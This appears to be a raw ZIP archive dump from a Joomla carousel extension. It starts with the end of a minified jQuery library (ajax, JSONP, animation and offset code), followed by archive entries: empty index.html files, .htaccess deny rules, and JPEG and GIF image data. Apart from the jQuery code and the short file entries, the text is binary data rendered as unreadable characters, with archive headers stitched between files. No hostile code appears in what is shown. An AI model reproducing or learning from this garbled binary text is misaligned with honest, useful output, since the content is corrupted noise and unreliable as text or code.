try{r=cb(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bG.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bF,"").replace(bK,bV[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bO),d.crossDomain==null&&(r=bQ.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bV[1]&&r[2]==bV[2]&&(r[3]||(r[1]==="http:"?80:443))==(bV[3]||(bV[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),bZ(bS,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bJ.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bL.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bP,"$1_="+x);d.url=y+(y===d.url?(bL.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bW+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=bZ(bT,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)b_(g,a[g],c,e);return d.join("&").replace(bC,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cc=f.now(),cd=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cc++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=typeof b.data=="string"&&/^application\/x\-www\-form\-urlencoded/.test(b.contentType);if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(cd.test(b.url)||e&&cd.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(cd,l),b.url===j&&(e&&(k=k.replace(cd,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var ce=a.ActiveXObject?function(){for(var a in cg)cg[a](0,1)}:!1,cf=0,cg;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ch()||ci()}:ch,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,ce&&delete cg[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n);try{m.text=h.responseText}catch(a){}try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cf,ce&&(cg||(cg={},f(a).unload(ce)),cg[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var cj={},ck,cl,cm=/^(?:toggle|show|hide)$/,cn=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,co,cp=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cq;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(ct("show",3),a,b,c);for(var g=0,h=this.length;g=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,c){var d=/Y/.test(c);f.fn[a]=function(e){return f.access(this,function(a,e,g){var h=cy(a);if(g===b)return h?c in h?h[c]:f.support.boxModel&&h.document.documentElement[e]||h.document.body[e]:a[e];h?h.scrollTo(d?f(h).scrollLeft():g,d?g:f(h).scrollTop()):a[e]=g},a,e,arguments.length,null)}}),f.each({Height:"height",Width:"width"},function(a,c){var d="client"+a,e="scroll"+a,g="offset"+a;f.fn["inner"+a]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,c,"padding")):this[c]():null},f.fn["outer"+a]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,c,a?"margin":"border")):this[c]():null},f.fn[c]=function(a){return f.access(this,function(a,c,h){var i,j,k,l;if(f.isWindow(a)){i=a.document,j=i.documentElement[d];return f.support.boxModel&&j||i.body&&i.body[d]||j}if(a.nodeType===9){i=a.documentElement;if(i[d]>=i[e])return i[d];return Math.max(a.body[e],i[e],a.body[g],i[g])}if(h===b){k=f.css(a,c),l=parseFloat(k);return f.isNumeric(l)?l:k}f(a).css(c,h)},c,a,arguments.length,null)}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window);PK@y>\7components/com_unitehcarousel/assets/resizer/index.htmlnuW+APK@y>\ ˰<components/com_unitehcarousel/assets/resizer/empty_image.jpgnuW+AJFIFddDucky<Adobed       ,, !1AQqra"2RSs45#%Bb3$TCcD ?{ZF 7PsA! DGcOql_N*TTB@A!+ B"DGB(B@A! DUҀTB@@DB(:QD/"6sx}5 DeumY͑K֗D$(馀56Hk|x]XK(hkAޫ?TvdIOC5ӟiktt?BQB@@4Pds͸`#C]A˜qܻr4P*( %[%Iy =| )kװc-pAQ A( h ߏIԉX*AlôǷ8㧑R-wW4Uj3agdm/wEJKn$\^2$FnLY<5$xtwTf"!ETT@@@@@@@@@A6}g5"V>%-;CA0ݏ5(RoմPb~5;neq7ΘW5AgXP~3pm]8$JQQqÝ<OB ڀBDB@@Aڊ mjD eyh* b|R>7/a-p Ъ; GS.uv{?zt]|JchْZ+oQsmOvߐ4Q *-6`~m(EPv3s+ND]yԤs}aGr*zTFQAےխ=yjv2;BPbhd[GVh'i҃53i&HG T\eٰw8ޕUDEPB@A@AA;DY"VN&huX^W%dY0TT(&{6\\XKGu0P~{EG =ЃkK\E;<NĢPb6\fkM[DEM]\Dm=t(4"**B@Aފ Ugmi0HG5sR5eocyЁFW}WiGvd[_zt(u,HO-J.2\ 0%5yM;2k"0Y#;Gk&dԒI:I*iq yY|P?t BPB Q!om?k0Dewu:Tmu8#h8vCΈQה-}yoTWqǘ[`lF*{y],Ty(4{?=mhαǡA@A!! @@@@@@A"8<1lmh {y M3SQٖ䶹{^2;"y\A' -4קt Ifj#fl-fI)|nh%ߣP["wckv#U4% $p ;0<ٲ&=Ύ4h-{ZdjH**B@Ab X[ \A 6&&/{iZX+Fb-Et jH-F&#} ,oykk__$t"\,/ M\(+w[P s$S@ d ;{[-NyJҨݖ0 FDrfVmlj4T_n0{0L[TqR[}Sťx~ <# AYEgpatNq7Ps~ `P-#00ZkA! ESm_ǽo1Dclѭ?+]WqA͕f1Oq: dI<r,d;ӗqPAWEFvm ڨMQ00 0D,Dh!U E*B p(_*O.ӻH%y|(3JvW~Qn89-:T}CVF5AΚ?+@pATi}ˀ^zTv6˺֒8i1P@@AqZ>37hvz9$qFQoslW) ݨP|fM|Zb뷝g9PuPJA!-* ;IQz*5ҠPpC[Oy ceҢ9]a;w\=/f0hi}T,W/O& *46fb? Ѓ5EF,˭MN&j;yr'D5Ť4e(p]>=yeŨƒ+4C+Q֨cbc] y|}ēAij( 4Q wǪT( oJU @A9s{oؗ‚ZڲaMdٖTR]|h8lA~` j#hmw(% unA9~L9B)JN%HTQG{s;2YvJRrY + ּ}ϫc#k(Do88uT֚}vLى,5{,s[6H\4M}`G sU=}PEyZ[ZAl6tƒ}ȚۙB@uqj,Pt/!SR*֨@AEr˚XE#`׷C@Dz[Ap^hH4Rv1H5 ._ h>֗8ѠTEr~oq#F̎4 ws~o{a|:Aquonګ]0^dp ęo,|n(|=9cFLvh>dh(95>UA=e~Z8xia! bxxݡ@Xa| á3 9sCAЃKHXx(|>?3z(;Wr-ݑ=3ʍ>_/ke4<-Рx]Ђk9 V")e=4#y\7S+ a f=/>"㌹P*Xm[ܠATTA!˙XL8G tC?T{YGq>5#&hE6ay҃grNAﲨ>Z ^h.fNHAə|dyGӢAւ?E ϋ 1EEE-`|{uGؠϼx]Ѓ&8pkpk&%܍IĎEs2L.ׅ+(3ٗ9 Xh֜GA kZAQB A@@@@AfUN͆8^ǐ$uuOD749aQpeͩ3; a ͮ ho+P[dpu! ͥ/;8t^A'vMxR"f#iAӴ>D.A|̝N2.}⃱o44tpamS9,n7$icJȇ*YIT`{#ӥ.kV469Y1xG0A#{CI*/r[e"zATHAMG@:|9lFDN!]\h9y{@\I jӥ&㮶UWy.qe%5?z8sMTkX54!A{n$2[7Aպ񵗲MƸh.rn5¼,"t >bNHA%}`sF aEA c`)1(;X"A2sIp ݎUfH,A9Ēwtm#hc{jv:ul&wB0X=#vUk}CN3yuhAAc(*wV"Pf`*,9{[Gk@~fNHA˘d-f-h &qsIt ᲄMudUø4g, ~ƒ<斸QaIڿY ׄ 9d7 4hT}Am4Iv* k[V۩AJZj B)20LC1xG0Aeh^HAoqs3,QPUAŞ A AđE%1@taa֝Ud 7Aaa֝Ud1hpB+΃BblmkAm$N %6B &i ̃@Ki'Y >3'͸k\4l0kӾPy &6u!a- ,ih((|<͞APo. p HA{6 :\j4GMc(ֆ((**B@A! *DEPBPB@AA! EPBPB@@@@@@@@@@@Aނ**B@@A! TTT U U B@A! TT1ѽv""! B@A"=~_~,?j +WýQUj (! B@A! Q?AS?8TWPK@y>\)6components/com_unitehcarousel/assets/resizer/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Y8components/com_unitehcarousel/assets/loaders/loading.gifnuW+AGIF89aԔ```@@@DDDnnnܤ$$$(((000666>>>jjjrrrŠPPP^^^:::\\\|||ↆhhhfffFFF xxx֮ƼzzzLLLRRRZZZbbbBBB<<B;>CD ;+F &03 8<݄!'14,< "PF`! ,;WX []<U Y-\$_&JOSHTJ^*\GP2 #7HKQ:6L=FF'MijNA:bIT@?R/D924I ::/E`ӃA&V,ZJCaTT9Ij! , i^,CK jl8^ghQCRk "dNJnj2H0T.-435GЄ`eC6:f:=σG5AT770/6@C(CBA;@/܆F r Z@! ,?(N!lG9'g[jNJA#HlF=B]ON*#F`8"p A/`9"07qE "T=36n F o)! ,aoe&? +qe4H2D< @33 %F8<;J @@ce[l>8TBjuaB7KAǐ0Cv^ ur6b?ՅY)3T3+'s 6F0:.ntn830֭! ,0@9(+ATA8cJq >`GT6:"VVA6@>/B4eb= oRTD3>hF^M'0F7BLd63Ӑ]jl7ۅ&NG+TTc1SOJvwn\-Yr;"0:TD AB8Q"6/37;(I@0=:GJ73QfA6D,<3e34.1&2*^Z\3#*N DK$+C9 \T6Jc -:gY(DZe u,AKXqoPt2Q=FAl!+ OjLM^aG1N\@ÕA;PK@y>\)6components/com_unitehcarousel/assets/loaders/.htaccessnuW+A Order allow,deny Deny from all PK@y>\7components/com_unitehcarousel/assets/loaders/index.htmlnuW+APK@y>\/components/com_unitehcarousel/assets/index.htmlnuW+APK@y>\huJ;components/com_unitehcarousel/assets/images/slide_image.jpgnuW+AExifII*Ducky<Adobed        !1AQaq"2BRb#r3s$5Tt%6CSDUu&4dE1!AQq2a"R3Brb#C ?؎k> kx"(B1:@2DXif)ElpA@UTPl `%  X:@''TP$"*KqtLr% c!I-CSHL bDسo"ՈUEiC90*kD"bI4QNPb~h'lc!!$*-FraQ[ڈ'H(D# ! D 3D9qMA$b3ar1 c&5 ޡhɁ: QO JaTcÙ\Šbpjn-nI 7Pi/zdؠ( F5EfQ:jI2Ĩ,FUKlHtŜHƊLV`[pӦD<  JXHZ橆8b+c 8^؀(LC(%L5I@@[5P|S[K@=A8F@B Zئ. "$ĉ1g B*1UZҷ Ēh!T8(3NBC1HULZDT#T%袷W : #iNQFJGPCAƈ fr:dfdm/Ac &2`P]SUT@-1AL9 b= nXE f 2PLj(PB1+68 bEJ"  CՐX:, @AeBr"ʡ-N噴ފij#F-"0`+H7*]S618$-aI35K*p΁+2jkހ׷>VYW<5"!G.I-arÃK@i87JcLx]DkJ C[K!f@-!Af>c c U09CX/Ad5LP1@o&[P#e1'a+J n(0i1f)19 QMGKL"g31N *4L%( imDLKĜ aa¨9 |Pf( .z)ê! A !#AYNz!:t1h.i4C[H4(iѠ] hp`a 1nÊahۃ҉bENHdF-R?o}-_68y kDB;p\[3tICNqAn!+io$44@[ ҁ@D`g]c5ij19QX/AdPhS&" n"F/('SDA7⊖iV1I$"#)OUDJ%Cx P "h"!A-⢂ P\⃠nCF1 cg D>O\tig KTb*Tsc|]+&plPP\YTPYѨ݂( o悄Jrpt#rL4,"F㊘h#!@L]"4l¨ ȐlASAص *9N1R][1zUFDBc h N!IAQ;P(!"cVjrH0eTDCQ UVHB.*@`hI(*1TԪ`/T P""<TUzb`VX ]T1b.~7!KnL:s][ت1~ Á *PF ܤj(:Z"$ s@.,.0Ӥ[ I|F(h I_H 4 C0@PaLDc)CpEm4ЌH4HdTbGaҋT7k3*3yEi!͐TݹjZIe[2*bTץU[ b-#2 `be9襆ETHL|ѸdRzh0 ћN :Mm"0h+b$WRbi bƨd1cor (KE&:iUA=m+L& %C#LxZTԶ*ᤀ/KU#j? bh12" tb.U4q4Q~9ݘn6&cQM5Hv*5lF4@.F8 *Dm!d)l37*HZw%GTD\#s@.8`X8tN4(6 "  kPi$ApHf*ނL)hbe2шrNFi *B tWL5BcQ{⠽*["U0g4A20å\Bյ&͐ڎܵBUx.ellPM^ 1!ToDnQ~ENAvSā>aq(,b.94]ͧ$ -1`bWQF~BC;"Ơ# DTcWw/E3(i:HՃT[YPz*(,0g7&sE0 "%*(@Q@gL T$PU_{ ӌ,"" 1U*ΈqT`@ybcbT3b JES5F҃i4anL5ZF (kinY NyƶAK.\QP@Ǣm-L`8X*.P:Ejc IpŰdE7Ɇ! DDh cRhCQͺ(0W$;nu`[ 't8[JFw:@,XQ0H7TF!"6PD@rfPiB@k0ln*|UT{i $3.J d@6Ĺ< SQQꆉFZHX= 0 @i B:BD#srj^犆(鰧0  pꆶGZt'ꀔh*ծyq&{ۘJ ؔBuC@bk+@T'# @ Ξ4I V3 Is| 1l*T" Q\ኊm>LP{NNpSC4 bi@GI*8 4wH@QPfÂHQ VAx('sj2m_(.BXrCآjD`(懚 `ፐf@$6qrՐ Z f&"51U03P;E P\@",j1rAB<np{)TPf 1b*08.F(";q#*b릕PqgG ъ@M- n2 w7MB! %j!&ت4̅ GL47k58T:JDin?b5H1!wJ`X 3梱"@?E`8 A5PFd_(.B, ̀o@8ب-,Ab!P6QRTC؊TJ=Aj+D%Ԙ&R rh1T&2H -*DQ@" j)kM!TVM擡˪ #/#^ lUFОCr02uTBYPDpA0`  HȚ**AUFfV҃ lP:A @0!APb߆*>j 1yM슠ɨLA~(C5SD6]Lԑt4Ջ7D4F9`]M55j]mh`d @AD5;˶H be"TJ3Df`PKc@TP & D{AGViuC8"4J4Qq XVbk""ȃKr+!ӊ @^٠jiuaQ[]D\F(0XFU-Kウ 3ةa)Ҩ Ԙ@ "3Dm(.ӋZ0v` sAl?R:7Lx&+M_DH2"Cr2uv~R(J7x^.0"j7"hC8RtT[ Љ@Em9 ʌT Mb C栓$~aȪQ3U4ChEIN@}XtCDcP 8PCD MZC[@a &._1/Aw5m 4_QLL@*R85 IhD38 \`:UK%Hּ$QE4S Zj@QAdVܔT QPh]EL4E袦Y{TW2/aEQzc8  1`D`2U+A``*ED{U!d[Nu|5`2{CDg$DYePQN%QOl@tę@B "_E2/ֈ.*ZZwtURoQآ)XWPCpkifR5u3]n0r^!ʌ*MPm&0 Ϫ">LڭyZZ]244 QѲSKW2DQ4TIQ؊4AϚ Hs@Q|YE䪃C!"PNb*(QlPY b@9Y >(+J!k ͚1PIMdKlEP- cҴ@5: T V@(2&DUU> ܃%ˎT_F1@Ea)1%-RDj#0LZB/j*֜]A%P<JF p@i*,yHo 2+J#1TI~*(f%űK8-PPcGP QD ꂈ-k,=B>VwB0p6 S*$Y1sǂDQ5rAq;:U 451&@0a>hh0(h(1~h$%HsZ~RC"$ըئ 0EI zW!@@鳌: !EA(6袞h.ZWOG@A`S%PsZ.+@ñz橪EBjlS9c)!QF"@qꈪ35c,)z@CcHE^]Pc1uB>Z3eA e"$3Aj3$ ַPQTKW PUEmc T~,f(ެN E0!ݨsd 4F/lS fAd d(\pPt!FAUUު8( Aܨ[ 1 %6ZʕLz$|C⢒ 'E}r !Pc 8h4hDؒ @UP!HUAC"444(#GnTKJl 4&Ȭ+"&1nu $IjR1 AAiTAԏAd`w6a)Bdy15!bLNDQ3 QQ JtL3iYb YHb@4>(d Lh 2ZQW~%@HY*rA;$]R LDĝ@X[*Z| + HqPl*f"DӉ,+J !]@j0A/ Ds@, 1a Z:!i 6aѭ"JIn "7@ UZFՋY =PHOE$ @Q=N+QK@1A$C2 q8h$l%:$B4⃙Dhhi=OQUF&$+ P sd16X?$}7:`4*bb$r@hXTTTBUXŒsل&&$7KV8 * !EA7"BAOeXsvSfPAm.HrD AEr jdJ=%X;*n(*3qV#Uw~ U(b*5"|U3({Fi4C1{b4A7 XםD(_ު*R:(%HI0fi11fnKʢ 7"tip|!,!6Y / ŅId :Sz mHTȔ`^F|*!K@6@- (@l3Wf1&r H:bR;–) bZPkRX(#TBQ` P 9ȰbhC5`UDK\ FwQHi| b"<,*5z$<舆CŸ"Wb" , J(0E Q$T~ JTp(%;⁵Jq gQ { Q#pf"Nyѐ`.}B/ v&%#DNՐ$f4QQ8:CLlZ@( t:"w"tip|#$ ^!PF`X~,*K MFAnH@5D ż"7k(Ti ]f((6@7`qU]XUEʌЊ'D1`K3 $ETN8 9'؊!2H$JM uH6 DFt@,:bVXU6AZ<@? dl2 pf5 ®E`=dbjL" Dl(+u1#I~%I^*F1c&6.4UT:b/n҃TLmI&蚐(f#py իi qD!.MmLIpCZPV>a$:|T%fDuKL!4EYժ$$A SrSS 0@3)&-vT; :J"Z3N A'p.P@gw$։d x7 !+,l )E-0phE"-OM^\@QivY1u1 〢aAh5]ڈ$:a3Af4Ytz/#DX@䠦*"NI(5BB@ (l){4D @Ft I!VKWJ1l:hHț;d KA!r,lD15&YUt"A6OIEb$A#rB1y@P LTc* 1wD[A&LMLpbA XtMHvkV3pyI jjuzq@J.5#Kb^ .Ђ,]vpDD>**2#Z` qR"bDrAqa@fe$j֕A$LpuV{28b(&5EsY.;uQ\&b^ *d24Ps jQquQdH:e!ǂU`$.1] |jvEx"Z-~Jj,GD6(j jED`,d%ADPiPQ 4 -8*jCaG Di*i @ClCE#(<"CITpC\>ڎؖԟ;1u.S1r5\qm501.H `ֺ@v@*!19HhE* S>THَ+91tA䆸 1(ȉuJ#(ijMm(khtX>(Q[ٙ@^ע U@C@0$>M˖,)AZ@ʣ4skY%P.I<ѪWuiŝ丂A'n%Pkn76"{'ն+J;g\_M&FaLo|&%f,mR+D!ӌ܆D5ZEkz?4A=0?KVy )bM, 1zB0CHPT5[V1Ak$MK YfbEkT\FOAAOyUl "$c a~4.4R F!6!բX]( 'Q rj;{b[Rb”ԻLhpr(UuDXĹ"0CACZb̪0e!b5LQ#f: T(=S,Dģ"'}+vҴcL5"%V1,1S耏آ<T3(עaS AG j*Z@p˖pRB?!Z SEͮ y"Å8M5N-PsEMQ=we@jҫ3[!'`("@c mVjRV% lt uq5b5ƆHm]K2Plꡏrb:{G@UVCw @ 1sDjPN^ՈVU\8̀, pat㚩ե:jZqɐ$8.ntURW 3uQ, "$\3H4\[C!05Ȉ>ƽ_إY N wAd:(4' GTKfC& >g!L@c(RC9תiՐlPLK\Vj٨rC8"*",-[$+05؁`/04VL /WcZ1J`ա0c'lH)m gWHUJ0%!MH% E$ΈiZ(g[AG$ ۅDDHEQ  b%_@b\FNQb " O IɃiss5\YP4~bAMɊk{*2w,TRtOނbhH@$ƮPfDjq@idNK1ub2%C0D6'L$;7 %#cj+5n%Pb1ȤntURW 3uQ, "$\3H4\[C!05Ȉ>ƽ_إY N wAd:(4' GTKfC& >g!L@c(RC9 LdA<9P(h;\JDv5梦E3.ьXb&-["**te @_TYR# |PԘ֗Aw>RTZ^ MT Zj*d+Q\THQd-ED0j(# YJ8BZ-ӤYiuQqʨ4EUEUfuY52I%:F9 Q"@ϊ#c@UEdUFͨgpA`AFH5p䅮;=UzPP UUQJ  -4 a.I Iܐ/j]Y"Q@c!R@VT31$Rؙ݀Y9Rxu#2P-J*#kgon:aH5Irʠ'(.$PSZQEl1*6Vc|1rߍS= &l.0WXDh2CT  LbDbmK Z4@-!)3Q7囪11i`Ԡ4GNqAbmTa 5ܔp©a*PU}q<f$ Av`Dsv7e\bA AxfLZ7UVª)T Eɦ( T Ix1DV QȪ " :KP~h"{lFϒ%^r B pQEFν[|4"F{ Ab@_,P7/!P*@J#>HƍcwQTg{Y ̓ $;A@PAMG> q(Gp;*^R58@'تBjjfS 11PƔu2,.NB3%rM0{ FJ o@K=1bpDP(MY:dtcR qfqUIKUD39$,?gAZ،Aq9ƪ*atA Aq $SU]ʂ4q[Eb T%Qp1`0j tUZ[ P,Tr67e\bA Aj#+qkLMbAUeQ. MP3AbClbU@pI#^El 슡 Ӥ g'!6n |)j] G @ KPLMAl% LR-[=F PO(ǒHf@-w#( cW蠙E' Ecg>8oJ,w -Gl%Yf)? :+>b0YTNB12&mz!T* ΊG X8T+UA 4w`!kx-2"dd_2%T! # ϊHi$@NJy012 &0ꊸߚ /UEED*_ E^Hi21#EPvv**hBFF=mЀIh7Tb 4@fi8]oGU .ËW ߢ LRԛpDAtV,C{P$ĝ Ū8ŬO3oj[;bT]/nJ ˸7Fkib$CD5fs|bA/$Uhx ba()zBgA@F| $5ilA,-D331 .Oe)=21zRdH֭$1TUM "]@|*٦ q+0 zᛠƢȀր`QZRDC׃@P`jyY`ؙ3^@fŕ҃1:JHT'9F$A)LQJUQ#jl(,K 5DTsb^L81\ہuS6R11{\i1L5cv{Rܶg(] .bl$* L9*1&"04!DEIDq䦪Ơ&BN* k!CCb8ыsNJ!2e(ք 17蒭Q{fkv9?tA%٫O |r@*  PA/ g2"(K-XYTLuUˋocHz1(TA(h >PɆɩ%&d?킊#8{ےږa-ù1cC9)n,ueNvf7WWAEK Z+O1UAŝr&+Uѹ#+ "Ɩ n,]x*=Y@ԶLcj*X:ws^(*b5 %T|N&rH2 !RjNF1vPk%:X5(k4 ?' >pcj=1L5:)V0L^+9LG=nJ[rt2.f.B*/dRu0vr/A2:](IdA ÙW18DbZMprST@1!@\ }UIy K8ADĵ j%dsn*d]W)1,<N䠊($({6uR%J׮ӌ" @xfXb8TXFCt$d ]t`3":ZE0U""AU*UE5iŞ(8 ETo3Hңȫ`j|B* 8 (C3S؂@TX=vd6ErHZVY+*mP)"ڳP&N0  ))fg(&bn H{JFQ H4CTA@DKMA &!TE1'ڃJ2 HP(lF.2A0ڜe=SxZ0HZ*|PD|U]MfEcFdʦ(2m_+M>)9jq@ډ,)O1.\@WQ>vCY Ԣ.0.B&6oGwn[s>R1,՗`#kFScT4D%igA"3b$@ A@ FL.kHy O152N`9fdO ͣ!'2$ etVu.wmbf1;J+0ThE&MKZ^QXibA$D ?GL_Sp fҋQ$٨J3)$(9*`B$Dswpj($`A\f+UbEU"5Zt HUuXTt ElpM118QnbpU-t<*U∺jI&5ڧB$s.5bUꍩ~̈._v̧"l`\R-u12@E!(t $ЁLpE0.oM.CK1)Qs""4X5ƋP!!̪0v c ɀb_%ء'TS_j&q'"2nX?U@.#1;Q&LUE3Dq2j*)l@A/*b0wU+ƣG;ؠ)$mOpb$kU+#KTP4T1U%ꓱl\-MDjp[ c@4D8"R1 )AX7TfVΈC) 8~.&~c*dR P%UDpMES*d'5cWQLv".^Jak& q XN|LVFT \ꂢ^΀vAN9lN]EFܧ9DolYLG?-~ )ËP$x]Tʄ cy%@M;t#iv2F6%0Sb9z\F\Vcs\ >]3YF sA10 K$"jk Y(&q'"2nXZpl QUQNA&L]Q:@PFu 5wX"l@ELisLYP@"),CZB&UR{(;b~Dx\e*W4bğڊ*< Y@2*%~j+%؊W3vjfQ;0* 